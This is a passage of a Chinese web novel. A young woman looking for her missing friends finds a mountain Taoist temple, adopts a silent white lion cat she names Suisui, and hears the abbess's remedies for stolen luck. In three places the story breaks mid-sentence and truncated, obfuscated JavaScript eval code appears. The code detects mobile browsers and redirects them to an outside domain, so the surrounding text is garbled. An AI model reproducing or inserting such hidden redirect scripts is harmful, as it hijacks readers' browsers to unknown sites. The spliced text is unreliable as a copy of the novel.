她对道士说了句谢谢,但坚持道:“我得和我的朋友汇合,你知道常乐观怎么走吗?”她刚才看过了,手机依然没有一点儿信号。安平手上有地图,他和杨瑰司在一块儿,应该不至于迷路。 天色近晚,与其在山林里漫无目的地寻找,不如干脆往一开始就定好的目的地——常乐观去。兴许他们已经到了也说不定。 “你们这些年轻人,干什么非得到常乐观去?”那道士似乎很不愿意提这地方,他眼珠转了转,咧嘴一笑道,“来拜咱们笑语娘娘也是一样的嘛!灵得很。” 他这表情看着莫名有些猥琐,活像是街边揽客的。他等着常喜乐或嗤笑或暴怒地骂人。 常喜乐却仰起头,仔细端详着那巨大的笑语娘娘石像。石像虽宏伟,却不让来者觉得自身渺小。笑语娘娘垂眸,凝望着每一位来客。细细一看,那石像的嘴角还微微噙着笑意。在其注视下,世间的喧嚣似乎都得以平息。 常喜乐没有说话,她只是闭上了眼睛,双手合十,嘴唇微动,似乎在念着什么。 阿嬷说,祈祷的内容不可以念出来,得默默在心里和神许愿,否则就不灵了。 一切突然变得沉静下来,连风声都暂歇。 这祈祷的时间很长,但假若有人听见常喜乐的心声,就会发现她一直在重复一句话。 因为阿嬷还说过:向神许愿时不可以太过贪心。神的耳边充斥着太多信徒的声音,你必须数年如一日专心地念着一件事,才有可能被听见。 因此,虽然常喜乐并不那么信神——至少从前不信——但每逢这种时候,她总会双手合十、诚心诚意地重复那一句话: “愿我和我爱的人,能平安顺遂喜乐、无病无痛无灾。” 那老道士虽然听不见她在祈祷什么,神色却突然变得异常平和。他静静地等着常喜乐拜完神像,然后看着她睁开眼。 常喜乐再次向他鞠了一躬:“总之,谢谢你给我地图。”她转身准备自己去找常乐观。如果这笑语娘娘真的如这老道说的那样灵验,她会保佑自己平安到达目的地吗?会保佑安平和杨瑰司吗? 那老道人却突然叫住了她。 “你还是打算去常乐观,是吗?”他问。 “对。”常喜乐点头。 她太倒霉了,不能就这么坐着等待幸运降临,必须做点什么才能安心。 “出门左转,一直往前走,等看到一块巨石之后抬头,你就能找到你要去的地方了。”老道说完,一脸恨铁不成钢地进了里间。 常喜乐愣了会才反应过来,她喜出望外道:“谢谢你!下回我肯定带着瓜果香火来还愿!” 说来可能不大礼貌,但这笑语观看起来有些没落,不然不会这样陈旧,那老道人也就不至于一把年纪了还招揽常喜乐来拜神。 既然如此,常喜乐觉得以后时不时还是可以来造访、添点人气儿,她喜欢这里给她的感觉。 那老道看着常喜乐一路蹦蹦跳跳地跑出门,只幽幽叹了口气:“下回还是别来的好。” 常喜乐照着老道提示的方向走,等慢慢走出了这片树林,才觉得眼前豁然开朗。 “憋死我了,可算能说话了。”戴山雁的声音出现得很突然,吓了常喜乐一跳。 “差点忘记还有你了。”常喜乐从口袋里掏吧掏吧拿出那个锦囊,问戴山雁,“你刚才为什么一直不出声了?” “我害怕呀。”戴山雁的声音洪亮,一点儿也不像是害怕,“那么大一樽神像在那儿,我怎么敢现身?” 常喜乐嘶了一声,用指尖轻轻抵着耳朵,纳罕道:“怎么感觉,几天不见,你的性格都变了?” 明明在医院的时候,她还是个很温柔的病美人呀。 “那是我病得太重没力气说话好吗?”戴山雁说,“变成这样之后,反而觉得缠着我数年的病痛都随着云烟消散了,一身轻松,甚至想飚一首《青藏高原》。” “你先别唱。”常喜乐不想再堵一回耳朵了,她放下手,怔怔地看着眼前这巨大的石头,上面刻着常乐观三字。 这下,戴山雁又要噤声了。 常喜乐妥善地把锦囊放好,深吸一口气往上坡走。此时夕阳西下,夜幕马上就要降临了。 希望安平、杨瑰司已经在目的地等着她了,如果运气好的话。 常乐观的人气显然兴旺些,有一排穿着道袍的人悠悠从门内小径鱼贯而过。台阶上还站着个小童拿着扫帚在扫地。 常喜乐看着,突然在想。 这样好的地方,为什么没有见到信徒呢? 要说常乐山难爬,可世上哪缺挑战自我的人?以国人的理念来看,能排除万难来拜神反而是虔诚的体现。 但这些暂时不重要。一路找到这,常喜乐实在是累极了,她勉力走上前,询问那个扫地的小道童:“你好,请问……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492355|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话说一半她就卡壳了,因为杨瑰司并没提过她那师父的名讳。 好在不等她想清楚究竟要怎么措辞,那道童看清她的打扮之后就一把扔开扫帚,大惊失色地往观里跑,一边跑一边还喊:“师父救命——来生人啦——” 常喜乐怀疑地低头看了自己一眼,她的穿着有这么不寻常吗?竟然把人小孩吓成这样。她实在累惨了,一屁股坐在台阶上——反正这里看起来有人定时打扫台阶。 等常喜乐略显局促地坐在椅子上,看那小道童给她端了一杯热茶。小孩藏不住心事,脸上的表情看起来简直要哭了,这次倒不是因为害怕,是被他师父训斥的。 “书念,不得无礼,怎么可以对远道而来的客人大喊大叫?”那位道姑看起来非常和蔼,见到常喜乐后,看出她因爬山耗费太多体力而疲惫不堪,便请她入观先歇息一番。 那名唤书念的道童把头低得更矮了,委屈地嘟囔道:“对不起。” 常喜乐低头对那道姑道了声谢,又摸了摸那小道童的头,感觉手底下的触感扎扎的,似乎是他剃完头后新长出的发根。她笑着说:“没关系的。” 那道童抬起头,很不自在地摸了摸自己的脑壳。他看了眼自己的师父,见对方点头后,小孩的眼神突然又恢复了神采。他高高兴兴地给常喜乐鞠了一躬,随后跑出了房间。 两人看着小道童远去的身影,那道姑先开口:“书念从小在常乐观长大,没见过外人。今天对你无礼了,我再替他说声抱歉。” “没事没事!这不打紧,我没放在心上的。大师你可别再训他了。”常喜乐的确不觉得哪里失礼,小孩子嘛,咋咋呼呼的都正常。 “小孩子正是学着明是非的年纪,你虽然不在意,我还是要在意的。”那道姑淡淡道,“姑娘,我不是什么大师,你叫我念慈就好。你这一路走来,一定吃了苦头。不知道有什么是我们可以帮你的?”她也不再多寒暄,直接切入正题。 常喜乐就把她和朋友失散的事情说了一遍,但略过了戴山雁替她引路这一段,询问安平等人是否也到过常乐观了。 显然,常喜乐的运气一如既往地不太好。那道姑沉吟了一会儿,摇了摇头:“今天观里就只来过你这一个外来人。” “天色将晚,常乐山林间会起雾,到时就更难寻人了。”念慈师父站起身,严肃道,“我请观内的人都替你找找吧,对这里的路,我们总是要熟悉些的。” 常喜乐站起身向念慈师父鞠了一躬,她问:“有什么我能帮上忙的吗,我能一起去找我的朋友吗?” 念慈师父摇了摇头:“你不认识路,贸然出去反而可能再走失。你把你好友的相貌特征仔细描述一遍,好让我们照着找人。” 常喜乐就仔细地把安平、杨瑰司今天的穿着和面部特征讲明白,她甚至画了幅画。 一位年轻的名为“仁心”的道姑看着常喜乐画的画,试着概括:“一个白发男人和一位三白眼的黑长发女人?” “对。” 一批人就乌泱泱地出发了,而常喜乐的那幅有些抽象的画则被搁置在了桌子上。 29.狮子猫 说回那笑语观,在常喜乐走之后就恢复了沉寂,连风都不曾再吹起一阵。似乎一切生机都被拦在了院落外一般。 那老道人确认常喜乐已经离开后才松了口气,他闭着眼睛冥想了一会儿,然后挠了挠头:“阵法没有失效,她到底是怎么进来的?”随后嘀咕着“还是得加强一下”,慢悠悠走到了那高大的笑语娘娘像前,仰头看她的脸。 这石像的笑容分明没有变化,然而老道人却跟着笑了一声:“娘娘,您今天格外高兴啊……” 一转脸,他又像个稚童似的嘟嘟囔囔着:“小姑娘就是比我这个老头子讨喜是吧?” 他说完,嘴角噙着笑打算回房,一低头却被脚边的白色影子吓了一大跳。 等他回过神来,才拍着胸口恼火地驱逐这位不速之客:“去去去,这是你能来的地方吗?” 打眼一瞧,这是一只白色长毛猫。 那白猫却没有被这驱逐的动作吓到,它绕着老道人的小腿转了一圈,衔了一朵紫色剑兰花放在他脚边不远处的台阶上。 那老道低头睨了它一眼,没好气道:“算你有良心,我以为你被山下的景迷了眼,再不回来了呢。” 白猫安静地不声不响,它一转头就往观外面走去。 “诶,才刚一回来,你又要去哪?”那老道捡起这朵剑兰花,还没端详一会,就见这白猫要走了。 白猫回头的一刹那,老道人觉得眼前晃了晃。恍惚中似乎见到它身后数条蓬松的长尾,等他再一眨眼,那尾巴又变回了一条。 “我眼花了?”老道人揉了揉眼睛,不满道,“你真是越来越没用了,几年不见,又少一条尾巴。须知修一条二十年,断尾只要一瞬间……出去可别说是我的徒弟!” 白猫已然踏出了笑语观,它隔着门槛对老道人点了点头。它又摇了摇尾巴,一人一猫都知道,这条尾巴对它来说是比生命还要重要的东西。 尽管老道人还想留它再多说点话,但他却又一次止步在了门槛前,没有踏出门。 他过了会才摆摆手,笑眯眯道:“我知道,你要去找比你的尾巴还重要的人,是吧?” 白猫点了点头,它又看了老道人一眼,随后转身离开了。 在念慈离开前,常喜乐问她这里有没有一位叫“唐柚”的人。然而念慈摇了摇头,说她从没有听过这个人。 这真是奇怪,常喜乐倒在椅子背上看天花板,有些苦恼——总不能是小姨说“在常乐观修行”是骗她的吧? 夕阳余晖透过窗户照在房间的木质地板上,常喜乐抬起一只手,看阳光在指尖起舞。她余光一转,发现窗台上竟然卧着一只白色长毛猫。常喜乐看它眼熟,不知道是不是猫都长得大差不差的缘故。 “刚才这房间里有猫吗……?”常喜乐嘀咕着打算起身,那猫就先她一步跳下了窗台。它在房间里来回踱步,昂着首似乎在探查什么。最后它轻轻一跃,跳到了常喜乐的大腿上,找了个满意的位置卧下休息了。 温热的猫肚皮隔着衣服布料在常喜乐膝上一起一伏。她难得在没有零食诱惑或他人帮助的情况下受到猫的眷顾,因此一时没敢乱动,怕把它吓跑了。 过了一会,见这白猫似乎躺舒坦了,常喜乐才轻轻地把手搭在它的脑壳上,轻轻地抚摸。白猫呼噜了几声,常喜乐听不出来,猜它大概是觉得舒服? “小猫小猫,你是从哪里来的呀?”她轻声地逗着问它。白猫听见她说的话,抬起头看了她一眼。 “咦?”常喜乐低下头仔细看它。它的毛发洁白而蓬松,在颈部那一圈的毛格外蓬松,像围了一圈围脖。白猫的眼睛颜色是特别的湖蓝色,它这副慵懒的姿态让常喜乐想起了某位故猫。 她心里突然浮现了一个猜想:“猫学长?” 但很快这个想法又被她自己否掉了。常喜乐自己走到常乐观都是费尽千辛万苦、从日出走到将近日暮。那只在校园里出没的猫怎么会无缘无故费力气跑到这儿来? 她叹口气又摸了摸白猫的头,想逗它说话:“我老觉得在哪见过你,要是你也见过我,就应我一声呗?” 那白猫不作声,只是舔了舔常喜乐的手心。 常喜乐若有所思,她突然说:“舔手心代表是?” 手心里又传来温热的触感。 “你是猫学长吗?” “你是自己爬到山顶的吗?” “你还记得我吗?” 以上问题的回答皆为“是”。 常喜乐笑起来:“你这就真的很像我小时候养的一只猫,它也特别不爱叫唤,就喜欢舔我。” 她戳了戳白猫的脑门,问它:“我不能总叫你猫学长,给你取个名字好不好?” 白猫用脑袋拱了拱她的手心,不知道是同意还是不同意。 常喜乐冥思苦想了好一会,突然很温柔地问:“叫你平安好不好?” 白猫却突然炸毛了,它看了常喜乐一眼。说来也怪,她竟然从它的眼神里读到了“不可置信”的意味。它干脆从她的腿上跳到地板上,焦躁地在原地转来转去。 “你怎么了,为什么不开心,你告诉我好不好?”常喜乐没想到这个名字为什么会让它反应这么大。可哪怕情绪波动如此之大,白猫却依旧一声不吭。 常喜乐发现地板上的大片光影中出现了一个小小黑影,她顺着这黑影看去,原来是个小道童悄悄站在门边。正是刚才在大门口被她吓了一跳的书念。 “怎么了书念,你有什么事吗?”常喜乐看这小孩的表情局促,似乎有什么话想说却不好意思。她实在是看他憋的难受,替他起了个话头。 书念犹豫了一会,小跑到常喜乐面前,把什么东西塞进了她的怀里。常喜乐低头看,是一个红彤彤的圆苹果,上面还有刚洗过后遗留的水珠。 “送给我的吗?谢谢你!”常喜乐惊喜地道了声谢,抬手想摸摸他的头,被书念躲过去了。 他有些别扭地说:“别摸我的头,会长不高的。” “哦哦,你说得对。”常喜乐很不好意思地笑起来。不怪书念小孩子气,就她小时候也是这样,对长高有着莫名的执念。她问:“你想要长到多高呀?” 书念想了想,说:“长高到师父同意我下山。” 常喜乐愣了愣,她想起来书念就是因为见到她这个外来人才被吓着的。她问:“你以前从来没下过山吗?” 书念摇了摇头,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497425|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打算在这个问题上多讨论,轻轻推了推常喜乐的肩膀催促道:“要记得吃苹果,很甜的。静安师姐好不容易去山下给我买回来的。” “算是……”书念说到这,耳垂又红了起来,他挠了挠头,剩下的字像从牙缝里挤出来,“算是我给你的赔礼。” “好。”常喜乐弯着眼睛笑了笑,她感觉到小腿肚被什么蹭了蹭。低头看,白猫依然在她身边焦躁地打转。 噢对,这只白猫不喜欢她取的名字。 “它怎么了?”常乐观里不时会有猫造访,书念看出来了这只猫的状态不对,问常喜乐是不是惹了它。 “我说给它取名平安,它就生气了。”常喜乐有些心虚的摸了摸脸。 书念问:“取这个名字,有什么特别的寓意吗?” 常喜乐觉得脚踝被白猫蹭得有些痒,她晃了晃小腿,说:“怎么说呢……是因为它和我小时候养的一只猫很像。它就叫平安。” 一样得好看,一样的性格。 至于平安的名字,则来自于常喜乐很喜欢的那句话:平安顺遂喜乐,无病无痛无灾。 “那怎么能行呢!”没想到书念的反应比白猫还要激动,他诧异道,“每个人的名字都是独一无二的,你,你不应该找替身!” “你还知道替身这种名词啊……”常喜乐也反应了过来,她讷讷道,“对不起,我没想那么多,也没有把它当替身。” “我从话本里看来的……这不重要。”书念一脸严肃,“但你应该认真给它取一个名字!” 常喜乐低头,又和仰头的白猫对视了。它昂着首,似乎很同意这话。 常喜乐并不是很有取名的天赋,她冥思苦想了一会儿,翻来覆去地从她喜欢的那句话里拆字念叨着:“顺遂?不太像个名字……顺顺、阿顺、遂遂……岁岁?” 她眼睛一亮,问:“叫你岁岁好不好?” 祝你岁岁平安、事事如意。 白猫眯了眯眼睛,过了会,终于又跳上了常喜乐的腿,蹭了蹭她的手背,躺下了。 “这就是同意了吧?”常喜乐又惊又喜地用气音问书念。 “是吧?”虽然不知道为什么突然要这么小声说话,但书念也下意识地鬼鬼祟祟起来。 “岁岁,岁岁?”常喜乐每唤一声,岁岁就在她怀里拱一下,算是对新名字的回应。 “唉,但你为什么就是不愿意说话呢?”常喜乐颇为遗憾地揉了揉它的脑袋,她小声地问,“岁岁,你是什么小猫呀?” 岁岁没有理睬她。 一旁的书念仔细观察了会儿,轻声默背着:“长毛,白色,日月眼,大尾。尾端茸毛如狮形……这会不会是狮子猫?” “你还知道这个呀?”常喜乐歪头,没想到书念年纪小,懂得却很多。 “当然,我从书上看到的。”书念晃晃脑袋,想起师父教他不许得意忘形,又低下头,说,“不算什么的。” “很厉害!”常喜乐看着岁岁,越看越觉得有缘分,喜欢得不得了,她轻声说,“岁岁,我总觉得我们从前见过。” 对此,岁岁的回应只是动了动它的小耳朵。 好吧,真是一只高冷的猫! 30.破解 常喜乐的手机早已没电了,问了一圈,观里只有一位负责下山采买的道姑有。等待手机充满电的同时,常喜乐望着星星慢慢挂满夜空,又叹了口气。 她顺着膝上岁岁的毛,自言自语道:“也不知道他们现在怎么样了……” 岁岁原本打呼的声音突然停了下来。常喜乐低头揉了揉它的耳朵,抱歉道:“怎么了岁岁,我吵醒你了吗?” 它直起身,竖起耳朵仔细听着什么。常喜乐过了会儿也听见常乐观大门口传来嘈杂的人声。大概是出门寻找的一众人回来了。 常喜乐顾不上岁岁,轻轻把它搁到桌子上后就跑出了房门。岁岁一甩尾巴,也跟着跑了出去。 然而以仁心道姑为首的一群人却都表示没有找到常喜乐所说的人。 “姑娘,山上这一片我们都找遍了。真没有寻常人了。” “是呀,你的朋友会不会找不见你,就自己下山了?” 理论上来看,这的确是更明智的做法。但安平和杨瑰司一定还在山上。常喜乐了解他们,就如同他们也猜到了常喜乐还没有下山。 因而常喜乐肯定地摇了摇头,说:“不会。” “哎呀,那就麻烦了。现在山上雾气重,就连我们也不敢再继续深入找,也不知道你朋友怎么样了。” 常喜乐沉吟一会儿,当机立断道:“那我报警吧。”这山上有什么东西都是未知的,假如他们发生了意外,那是一秒也拖不得的。 然而不等她找到自己的手机,仁心就抬起手来制止了她:“不可以报警。” 常喜乐问:“为什么?”需要帮助时就找警察叔叔,这是她从小就知道的道理。 仁心沉吟片刻,没有直接说为什么不行,只是另外:“咱们山上没有信号,你就算打报警电话也是徒劳。” 此时常喜乐刚点亮手机,她试了试各个APP的功能,的确没有信号。 大概常乐观所在的位置还是太偏僻了。 “天色已经晚了,不如你在观里先暂住一晚。等明天放晴,我们再一起找你的朋友。”仁心站在常喜乐身边陪着她往刚才的房间里走。 “不过,你和你的朋友们大老远地来我们常乐观,是为了什么事呢?”仁心问她。 “我最近的运气很不好。”常喜乐回答,“我和朋友都认为是由于被动物讨封,借走了运势。” 仁心有些惊讶:“讨封这种事,我的确听说过,但并没有亲眼见过。” “我没遇上讨封前,连这个词都没听说过。”常喜乐一听连仁心也没见过之后,对她们能否帮助自己一事也不抱太大的希望了。 “姑娘,不如你今晚先休息。我替你将这件事转达给念慈师父,她是观里的住持,德高望重,或许会有破解之法。”等把常喜乐送到了房间,仁心才冲她躬了躬身。 常喜乐也礼貌地鞠了一躬,等仁心离开后关上了房门。 她一转身,才发现岁岁不知什么时候也跟着溜进了房里,站在地毯上和她对视。 “你这只小猫,怎么就待在这不走啦?快点告诉我,到底为什么跑来山上?不然我把你赶出去哦!”常喜乐干脆蹲下来挠挠它的下巴,语带威胁。 岁岁仰起头,眯着眼睛,被常喜乐挠得很惬意。它耳朵动了动,分明听见了,但就是一言不发。 “难道它生性不爱说话?”常喜乐自言自语着,也放弃再逗岁岁了。她奔波了一整天,已经疲惫不堪,干脆站起来,手指虚点了点岁岁的脑门,说,“等我明天再来盘问你。” 随后她就往床边走去,边走边脱外套。刚才仁心师父给常喜乐送来了换洗衣服,这会儿她洗漱一下就打算睡觉了。 岁岁见状立刻往房间的屏风后面跑去,找了个空地卧下来。等常喜乐熄灯后在床上躺好,它才又在夜色中钻出来,把自己团吧团吧卧在了她的床尾。 隔着纱窗,竹叶在月光的照耀下微微晃动。这一晚,有人安睡,有人彻夜未眠。 第二天清早,常喜乐是被敲门声吵醒的。她打着哈欠,看了眼时间,才六点半。门外敲门声急,她从椅背拿了件外套披上才去开门。岁岁在第一声敲门响起时就竖起耳朵了,它随着常喜乐下床的动作跟在她脚边。 敲门的是书念,他端了一个餐盘来,脸憋的红红的,急道:“能让我进去不?我拿不住啦!” 常喜乐连忙侧身给他让出条道来,等书念把这满满当当的一盘吃的往桌上放好,才挠挠头有些腼腆地说:“师父让我来给你送饭,等你收拾好了,带你去见她。” 他微微偏头,似乎有些忘记一部分传话内容,磕磕巴巴地补充完:“说是要去讲那个什么……什么……讨封的事儿?” “原来是这样,谢谢你啊书念。”常喜乐还睡眼惺忪,她揉了揉眼睛坐下,还招呼他一块儿,“你吃早饭了吗,要不要一起吃?” “我已经吃过馒头了。”书念正直地偏过头去,一言不看那些吃的,然而他咕咕叫的肚子出卖了他。 这一盘吃的琳琅满目什么都有,常喜乐打眼看过去就见到好多自己喜欢的——兔子形状的奶黄包、绿豆饼、小笼包、淋了酱油的荷包蛋……此外还有一碗热滚滚的牛奶,尚且冒着热气儿呢。 “哎,这么多我怎么吃得完?你也一起吃点吧!”常喜乐看出小孩子不好意思,她干脆拿了个兔子包递到他手里,随后伸了个懒腰站起来,“我先去洗漱一下。” 等吃饭早饭、收拾妥当了,常喜乐就跟着书念往念慈师父住的地方去。尽管现在对常喜乐来说并没有到她平常起床的时间,但观里到处都能遇见道姑,她们有条不紊地开始了一天里要做的事情。 书念瞥了眼一直跟在常喜乐脚边的那只狮子猫,没忍住问:“它一直跟着你,你是它的主人吗?” “我不是。”常喜乐看着脚边沉默赶路的岁岁,摇了摇头。 等见到念慈师父时,她正在院子里练功。书念刚想叫他师父,被常喜乐伸手拦住了。两人一猫静静地看念慈师父,常喜乐轻声问:“这是练的什么呀?” “五禽戏,养生的。”书念也悄悄给她解惑,“这是模仿的虎……这是猿……” 过了没一会,念慈就停下了动作,她看了院门口几人一眼,从石桌上拿了毛巾擦汗,笑着说:“书念,你怎么这么早就把人姑娘给喊起来了?” 常喜乐眼下挂着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505418|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个黑眼圈简直不要太显眼。 “诶,但师父你不是一直说,一日之计在于晨,睡懒觉是万万不可的吗?”书念没考虑过这么多,寻常这个点他要是还不起床,别说念慈师父了,仁心师父就不可能乖乖敲他的房门,而是直接一棍子把他敲醒了,还美名其曰是当头棒喝。 常喜乐轻轻咳嗽一声,举起一只手表示没事:“入乡随俗嘛!” 念慈冲常喜乐招了招手,请她进屋来说话。她给常喜乐沏了一壶茶,边倒茶边说:“不知怎么的,我看你就觉得亲切,好像在哪见过似的。” “可能是有缘分吧?我见到念慈师父也觉得很亲切!”常喜乐这话不假,念慈的举手投足都让她感觉似曾相识。 “就像我和师父一样。”书念在一边站着,听这话弯着眼睛笑起来。 念慈嗔怪地看他一眼,问:“今天功课做好了没?还在这耍宝。” “这就去!”书念站直了,冲两人鞠了一躬,就傻笑着往出跑了。 常喜乐看着他的背影,问:“书念这个年纪,不用去上学吗?” 念慈喝了口茶,简单解释给他听:“他是个孤儿。如果要下山读书,要么一整天都要花在往返上;要么就转去福利院念书。我们和他讲过,但书念还是只愿意留在山上。” “毕竟孩子年纪还小,再让他想想吧。” 常喜乐却觉得,小孩子懂得太少。如果等到他自己想清楚了,有些事可能就晚了。但她对书念没有生恩养恩,很多事由她讲都没有意义,因此她什么也没说。 念慈换了个话题:“你的事,我昨晚听仁心说过了。你能把被借运那天的事再详细给我说说吗?” 听常喜乐讲完后,念慈一言不发,只是单手转着桌上的茶杯。 “如果觉得很为难的话,其实……”也没事。常喜乐这次来,原本就是死马当活马医。她现在比起让自己运气别那么糟糕,其实更在意杨瑰司和安平的下落。 很多时候,这些教派对常喜乐来说只是一个信仰。就像药不能治百病,哪怕是神也未必能解决信徒的所有问题吧? 不能强人所难。 “倒不是为难。”念慈摇了摇头,她看向常喜乐,“其实,被灵物讨封并不完全是坏事。它们都是修炼到了一定境界的生灵,只会向品德高、福泽深的人讨封,在之后也会回来报恩。” “姑娘,你是个被选中的人。”念慈说到这,又失笑,“只是它们毕竟不是人,也讲不了太多道理。你还没明白是怎么回事,就让它完成了讨封,的确不太公平。” 常喜乐点了点头,感到一些安慰。但她想起前几天那次差点发生的车祸,又垂头丧气起来:“那一但成立,除了等待,真的就没办法解决吗?” 念慈沉吟片刻,说:“方法其实也不是没有,但这要看你自己。” 常喜乐不管怎么的,也还是愿意听一听念慈师父的办法。不管这有多困难,能不能做成是一回事,但至少,她很确定—— 自己还不想死。 念慈问:“让你一直留在山上,你可愿意?” 诶?常喜乐迷茫。 这是让她也出家的意思吗? 31.找到了 “人在生活中会面临许多选择。生活越复杂,要决定的选择就越多。选项有好坏之分,运气好的人,其做出的选择导向的结果往往也是好的。而像你这样事事不顺的人,在一项项糟糕的选择之后,可能会将人生导向万劫不复之地。”念慈干脆拿出了一张白纸,在上面给常喜乐画下思维导图。 “这时候,不妨斩断自己和世界的联系不,尘缘少了,麻烦事也就少了。”念慈就这么理所当然地劝她皈依——在这里,至少常喜乐不会有性命之忧。 “这样的话,我需要待到什么时候?”常喜乐试探着问出了这个最为重要的问题。 “等到你的运势恢复正常为止。”答案不出所料。 “也就是说。”常喜乐艰难地咽了口水,总结道,“哪怕到四十岁情况都没有好转,我都得一直待在这里?” 念慈点点头,示意她说得没错。 常喜乐把头摇得像拨浪鼓:“大师——还有没有别的办法呀?” 她不要留在山上当道姑二十年啊! “不愿留在山上也正常。办法还有一个。”似乎早就料到常喜乐的态度,念慈说出了另一个选择,“你有没有那种,愿意为了你奉献自己的至交亲朋?” 这问题对常喜乐来说却更难回答了。 谁会甘愿为了他们而奉献自己? 尽管很多时候,早在人意识到之前,他们已经完成了自我奉献。好比父母在危难中本能地护住孩子,恋人在丧偶后甘愿为对方殉情……在那一瞬间,奉献是一种本能,而非选择。 然而,当你黑纸白字地提前问出“你愿意为她奉献自己的一切吗?”时,问题反而困难起来。 而常喜乐不觉得谁有义务为了她自我奉献——不论对方是否愿意。 她问:“如果没有呢?” 念慈没回答这个问题,而是先解释了刚才那个问题的来由:“运气如同山峦,有高峰亦有低谷。就好比你今天倒霉,兴许明天就走运。而如今的你像是被人为挖走一大片山体的凹地,在等待运势回来前,或许可以向福泽深厚的人借点运气来,两相平衡,就可以度过眼前的难关。” 念慈说话有点文绉绉,常喜乐反应了一会儿,问她:“向别人借运,我岂不是和那位向我讨封的黄鼠狼一样了?” “不用把讨封当做坏事,用你们这一代人的话来讲,这原本是人与自然和谐共生的表现。”念慈笑着给常喜乐添茶水,补充道,“当然,借运的那人必须要心甘情愿才可以。” 常喜乐托着脸,惆怅道:“还是觉得没有。” 谁会希望自己诸事不顺?偶尔遇到一件糟心事也许不算什么。可假如日复一日、年复一年地被种种烦心事缠绕,得是多么心地开阔的人才能受得了? 人是经不起琢磨的,Ta在最开始时也许甘愿奉献,可在时间的腐蚀之后,会不会感到后悔,会不会心生怨怼,恐怕连其本人都保证不了。 念慈微笑着摇头:“别太早下定论。”她从桌边的抽屉里拿出一个鹅黄色的锦囊递给常喜乐,叮嘱道:“假如遇到了那位愿意借你运气的人,和Ta讲清楚经过,再把这个锦囊给Ta,就成了。” 常喜乐接过这锦囊端详了一会,突然“咦”了一声。她在口袋里做了个掏东西的动作,随后又顿住了。 念慈注意到她的异样,问怎么了? 常喜乐笑着摇了摇头:“没事……念慈师父,我该去找我朋友们的下落了。” “一大清早仁心她们就带着人出门找了,你不用太担心。常乐山上虽然路不好认,豺狼虎豹却是没有的。”念慈示意她稍安勿躁,“等找到人之后,让仁心送你们下山。” “好……”常喜乐晃神片刻,就感觉脚边那只小家伙又不安分起来。它原本卧在常喜乐的脚边,这会儿却突然活跃起来。它蹦起来叼走了常喜乐手上那个鹅黄色的锦囊,然后一溜烟地跑出了房门。 “岁岁!”常喜乐大喊一声追出去,“这个不能乱拿,你会倒霉的!!” 天老爷,一只猫实在太脆弱了,要是所有猫猫都像常喜乐这么倒霉催,实在很难在这个艰险的世间活下来。 念慈已经讲得口干舌燥,她端起茶杯一饮而尽,看着常喜乐在门口逮捕了那只不速之客。 “动物,其实也可以。”她意味深长道,“这是一只有灵性的猫,向它借点运气也未尝不可。” 这只笨猫懂什么啦!常喜乐还在费劲地试图猫口夺锦囊。岁岁一定是被这个鲜亮的颜色给吸引了,可它并不知道这锦囊代表了什么,就这样交换了它的运气岂不是很不公平。她常喜乐堂堂女大学生,不应该趁小猫之危! “哈哈哈哈……”虽然和蔼但却一直十分正经的念慈师父看着蹲在门槛边和那狮子猫作斗争的常喜乐,笑得前仰后合。 她指了指那猫,认真道:“你别不信咧。这只猫其实什么都知道、什么都听得懂。它就是愿意帮你,这一来说不定还能结下善缘。” “那也不可以!”常喜乐到底是个有力量的成年女性,她终于把这锦囊抢了回来。那狮子猫像是气急了,从喉咙里发出咕噜咕噜的声音,一甩尾巴跑掉了。 “诶!”常喜乐这回没再拦得住它,她挠了挠头,“怎么还生气了。” 本来就是。她和岁岁根本没有认识多久,借了它的运气,她还不起。实际上,就算是至亲好友,她也是还不起的。 常喜乐垂头丧气地转头问念慈师父:“真的没有第三个办法了吗?” 念慈沉吟片刻,犹豫了好一会儿,才说:“第三个办法,我本来不打算说。这是最苦最累的法子。” “您说吧!我听听看!”常喜乐一听,眼睛都亮了,忙凑到念慈身边,洗耳恭听。 “你本就是福泽深厚之人,这有部分是天生的。还有部分是因为你打小广结善缘,所以积攒了气运。之后,如果你能多多助人为乐,兴许可以弥补自己的气运。”念慈说到一半,话锋一转,“但这和我之前说的少沾尘缘的说法相违背,我也无法确定在这之前你会不会遇到更糟糕的事。” 常喜乐却一点儿也没有气馁,她受到无比振奋似的站起来说:“这个好!就照这个来!” 不等念慈再多劝说,两人突然听见常乐观门口有人大喊:“找着啦!找着啦!” 至于找着了谁,则不言而喻 常喜乐和念慈对视一眼,她笑眼弯弯,告辞后就把锦囊往兜里一揣,跑出去了。 常乐观门口,以仁心为首,后面还跟着好几个人。仁心背着个昏迷不醒的女孩,仔细一看正是杨瑰司。 